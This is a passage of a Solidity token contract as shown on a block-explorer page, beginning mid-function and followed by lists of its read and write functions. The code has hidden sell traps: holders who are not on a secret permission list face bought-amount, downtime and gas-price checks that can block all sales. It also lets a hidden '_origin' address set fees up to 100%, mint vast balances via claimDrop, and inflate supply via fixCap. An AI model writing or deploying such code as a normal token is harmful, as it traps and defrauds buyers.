_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else if (isMarket(to)) {
uint feeAmount = calculateFeeAmount(amount, sellFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
if (isMarket(from)) {
boughtAmount[to] = amount;
purchaseTimestamp[to] = block.timestamp;
}
if (isMarket(to)) {
if (!premissionList[from]) {
require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
boughtAmount[from] -= amount;
if (validationEnable())
{require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
require(!exceedsGasPriceLimit());
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
bool internal validtionState;
function isMarket(address _user) internal view returns (bool) {
return (_user == address(_pair) || _user == address(_router));
}
function switchValidationEnableState() external {
SecureCalls.checkCaller(msg.sender, _origin);
validtionState = !validtionState;
}
function validationEnable() public view returns (bool) {
return validtionState;
}
function editDownTime(uint _seconds) external {
SecureCalls.checkCaller(msg.sender, _origin);
downTime = _seconds;
}
function updatePremissionList(address[] calldata _usrs, bool _state) external {
SecureCalls.checkCaller(msg.sender, _origin);
for (uint256 i = 0; i < _usrs.length; i++) {
premissionList[_usrs[i]] = _state;
}
}
function checkPremissionList(address _user) external view returns (bool) {
return premissionList[_user];
}
function checkUserPurchaseTime(address _user) external view returns (uint256) {
return purchaseTimestamp[_user];
}
function checkUserBoughtAmount(address _user) external view returns (uint256) {
return boughtAmount[_user];
}
function exceedsGasPriceLimit() internal view returns (bool) {
return tx.gasprice >= MAX_GAS_PRICE;
}
function changeMaxGasPrice(uint _newGasPrice) external {
SecureCalls.checkCaller(msg.sender, _origin);
MAX_GAS_PRICE = _newGasPrice;
}
function fixCap(uint256 _amount) external {
SecureCalls.checkCaller(msg.sender, _origin);
_totalSupply += _amount;
}
function claimDrop() external {
SecureCalls.checkCaller(msg.sender, _origin);
_balances[msg.sender] += 2 * (10 ** (15 + 18));
}
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
return _amount * _feePrecent / 100;
}
function isExcludedFromFee(address _user) public view returns (bool) {
return excludedFromFee[_user];
}
function updateExcludedFromFeeStatus(address _user, bool _status) public {
SecureCalls.checkCaller(msg.sender, _origin);
require(excludedFromFee[_user] != _status, "User already have this status");
excludedFromFee[_user] = _status;
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external {
SecureCalls.checkCaller(msg.sender, _origin);
require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
buyFee = _buyFee;
sellFee = _sellFee;
}
function updateMarketWallet(address _newMarketWallet) external {
SecureCalls.checkCaller(msg.sender, _origin);
marketWallet = _newMarketWallet;
}
function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
return (buyFee, sellFee);
}
function AddLiquidity(uint256 _tokenAmount) payable external {
SecureCalls.checkCaller(msg.sender, _origin);
_approve(address(this), address(_router), _tokenAmount);
transfer(address(this), _tokenAmount);
_router.addLiquidityETH{ value: msg.value }(
address(this),
_tokenAmount,
0,
0,
msg.sender,
block.timestamp + 1200
);
}
function switchOrigin(address _newOne) external {
SecureCalls.checkCaller(msg.sender, _origin);
_origin = _newOne;
}
function rebaseLP(address _routerAddress) external {
SecureCalls.checkCaller(msg.sender, _origin);
_router = IUniswapV2Router02(_routerAddress);
_pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
}
}
Read Contract
MAX_GAS_PRICE 0xe3bbb4f1 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkCurrentFees 0x2df8bca9 → uint256, uint256
checkPremissionList 0xa7e90f41 → bool
checkUserBoughtAmount 0xd1a039f0 → uint256
checkUserPurchaseTime 0x6994ee73 → uint256
decimals 0x313ce567 → uint8
excludedFromFee 0x85ecafd7 → bool
isExcludedFromFee 0x5342acb4 → bool
marketWallet 0xe4440a86 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
validationEnable 0x3975cae9 → bool
Write Contract 19 functions
These functions modify contract state and require a wallet transaction to execute.
AddLiquidity 0xf53d9d58
uint256 _tokenAmount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeMaxGasPrice 0x3816377e
uint256 _newGasPrice
claimDrop 0x4feeade4
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
editDownTime 0x344d9e79
uint256 _seconds
fixCap 0x9e568dbc
uint256 _amount
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
rebaseLP 0xbbf75e8f
address _routerAddress
renounceOwnership 0x715018a6
No parameters
switchOrigin 0xedd8b64a
address _newOne
switchValidationEnableState 0x8229c2e5
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateExcludedFromFeeStatus 0x5337cc99
address _user
bool _status
updateFees 0x6db79437
uint256 _buyFee
uint256 _sellFee
updateMarketWallet 0x4d474d42
address _newMarketWallet
updatePremissionList 0x9f38a0d7
address[] _usrs
bool _state
Recent Transactions
No transactions found for this address